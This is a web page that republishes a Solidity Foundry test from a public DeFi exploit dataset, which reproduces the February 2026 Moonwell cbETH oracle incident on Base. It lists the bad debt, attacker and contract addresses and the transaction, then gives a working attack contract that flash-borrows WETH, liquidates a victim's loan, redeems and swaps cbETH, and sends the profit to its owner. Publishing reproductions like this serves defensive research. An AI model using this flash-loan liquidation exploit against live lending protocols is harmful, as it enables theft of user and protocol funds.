Skip to content
THREATWIRE

Public reproduction file

src/test/2026-02/Moonwell_exp.sol

Public reproduction file for dataset entry Moonwell.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-02/Moonwell_exp.sol132 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.23;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7 // @KeyInfo - Total Lost : ~1.78M US$ (protocol bad debt)
8 /* Bad Debt Summary
9 cbETH 467.7555896 $ 1,033,393.71
10 WETH 239.6643802 $ 478,998.02
11 USDC 232607.2797 $ 232,584.02
12 EURC 9719.35397 $ 11,566.03
13 cbBTC 0.16685141 $ 11,442.17
14 cbXRP 5481.145179 $ 7,947.66
15 DAI 1520.178946 $ 1,520.03
16 USDS 1053.312414 $ 1,052.15
17 AERO 642.4149872 $ 204.87
18 MORPHO 126.2302566 $ 171.67
19 wstETH 0.06824221 $ 164.49
20 Total - $ 1,779,044.83
21 */
22 // Attacker : 0x0100ab3021dE6e00c39BE16424472164c281C308
23 // Attack Contract : 0x083CfA7FD187Be983ce5D519fE7ae78357779998
24 // Vulnerable Contract : 0xEC942bE8A8114bFD0396A5052c36027f2cA6a9d0 (Moonwell Chainlink Oracle on Base)
25 // Attack Tx : 0x2f4ff77c77ce2a52c80fcd59a4cac4b05f4285afe1f3b92118b0a004a325953c
26 // @Info
27 // @Analysis
28 // Post-mortem : https://forum.moonwell.fi/t/mip-x43-cbeth-oracle-incident-summary/2068
29 // Recovery Plan : https://forum.moonwell.fi/t/recovery-plan-cbeth-incident-and-moonwell-apollo-onboarding/2084
30 // Twitter Guy : https://x.com/pashov/status/2023872510077616223, https://x.com/moo9000/status/2024040101982990534
32contract Moonwell_exp is BaseTestWithBalanceLog {
33 bytes32 exploitTx=0x2f4ff77c77ce2a52c80fcd59a4cac4b05f4285afe1f3b92118b0a004a325953c;
35 address mWETH=0x628ff693426583D9a7FB391E54366292F509D457;
36 address mcbETH=0x3bf93770f2d4a794c3d9EBEfBAeBAE2a8f09A5E5;
37 address cbETH=0x2Ae3F1Ec7F1F5012CFEab0185bfc7aa3cf0DEc22;
38 address weth=0x4200000000000000000000000000000000000006;
39 address Aerodrome_Finance_CLPool=0x861A2922bE165a5Bd41b1E482B49216b465e1B5F;
40 address Aerodrome_Finance_CLPool_2=0x47cA96Ea59C13F72745928887f84C9F52C3D7348;
41 AttackContract attack;
43 function setUp() public {
44 vm.createSelectFork("base", exploitTx);
45 attack = new AttackContract(
46 mWETH,
47 mcbETH,
48 cbETH,
49 weth,
50 Aerodrome_Finance_CLPool,
51 Aerodrome_Finance_CLPool_2
52 );
53 }
55 function testExploit() public balanceLog {
56 attack.start();
57 }
58 receive() external payable{}
60contract AttackContract{
61 address owner;
62 IRToken mWETH;
63 IRToken mcbETH;
64 IERC20 cbETH;
65 IERC20 weth;
66 ICLPool Aerodrome_Finance_CLPool;
67 ICLPool Aerodrome_Finance_CLPool_2;
68 address victim;
69 constructor(
70 address _mWETH,
71 address _mcbETh,
72 address _cbETH,
73 address _weth,
74 address _Aerodrome_Finance_CLPool,
75 address _Aerodrome_Finance_CLPool_2)
76 {
77 owner=msg.sender;
78 mWETH = IRToken(_mWETH);
79 mcbETH = IRToken(_mcbETh);
80 cbETH = IERC20(_cbETH);
81 weth = IERC20(_weth);
82 Aerodrome_Finance_CLPool = ICLPool(_Aerodrome_Finance_CLPool);
83 Aerodrome_Finance_CLPool_2 = ICLPool(_Aerodrome_Finance_CLPool_2);
84 victim=0x4C1A699166CD60473040d0618C47Ad82251B9D0f;
85 }
87 function start() public{
88 require(mWETH.borrowBalanceCurrent(victim) == 2_227_585_181_466_568_852_543, "failed");
89 Aerodrome_Finance_CLPool.flash(address(this), 129_906_284_941_311_087, 0, abi.encode(129_906_284_941_311_087));
90 }
92 function uniswapV3FlashCallback(uint256 amount0Delta, uint256 amount1Delta, bytes calldata data) external {
93 uint256 amount = abi.decode(data, (uint256));
94 weth.approve(address(mWETH), amount);
96 mWETH.liquidateBorrow(victim, amount, address(mcbETH));
97 (mcbETH.balanceOf(address(this))==1_207_922_808_230);
99 mcbETH.redeem(mcbETH.balanceOf(address(this)));
100 Aerodrome_Finance_CLPool_2.swap(
101 address(this),
102 true,
103 int256(cbETH.balanceOf(address(this))),
104 4_295_128_740,
105 ""
106 );
108 require(amount+amount0Delta==129_917_976_506_955_805, "failed");
109 weth.transfer(address(Aerodrome_Finance_CLPool), amount + amount0Delta);
110 weth.withdraw(weth.balanceOf(address(this)));
112 (bool success,)=owner.call{value:address(this).balance}("");
113 require(success,"failed");
114 }
116 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
117 require(amount0Delta==242_681_146_382_025_215_739, "failed");
118 cbETH.transfer(msg.sender, uint256(amount0Delta));
119 }
120 receive() external payable{}
123interface ICLPool{
124 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
125 function swap(
126 address recipient,
127 bool zeroForOne,
128 int256 amountSpecified,
129 uint160 sqrtPriceLimitX96,
130 bytes calldata data
131 ) external;

Analysis

Dataset entry

Public Foundry test for “Moonwell” (2026-02-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

5 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0100ab3021de6e00c39be16424472164c281c308

  • Attack Contract

    0x083cfa7fd187be983ce5d519fe7ae78357779998

  • Vulnerable Contract

    0xec942be8a8114bfd0396a5052c36027f2ca6a9d0

  • Attack Tx

    0x2f4ff77c77ce2a52c80fcd59a4cac4b05f4285afe1f3b92118b0a004a325953c

File record

Name
Moonwell
Path
src/test/2026-02/Moonwell_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
035b892188d53620ee04b8e7332b8be185a04fe4
Language
Solidity
Size
133 lines
Date
2026-02-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-02/Moonwell_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 035b892188d53620ee04b8e7332b8be185a04fe4, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.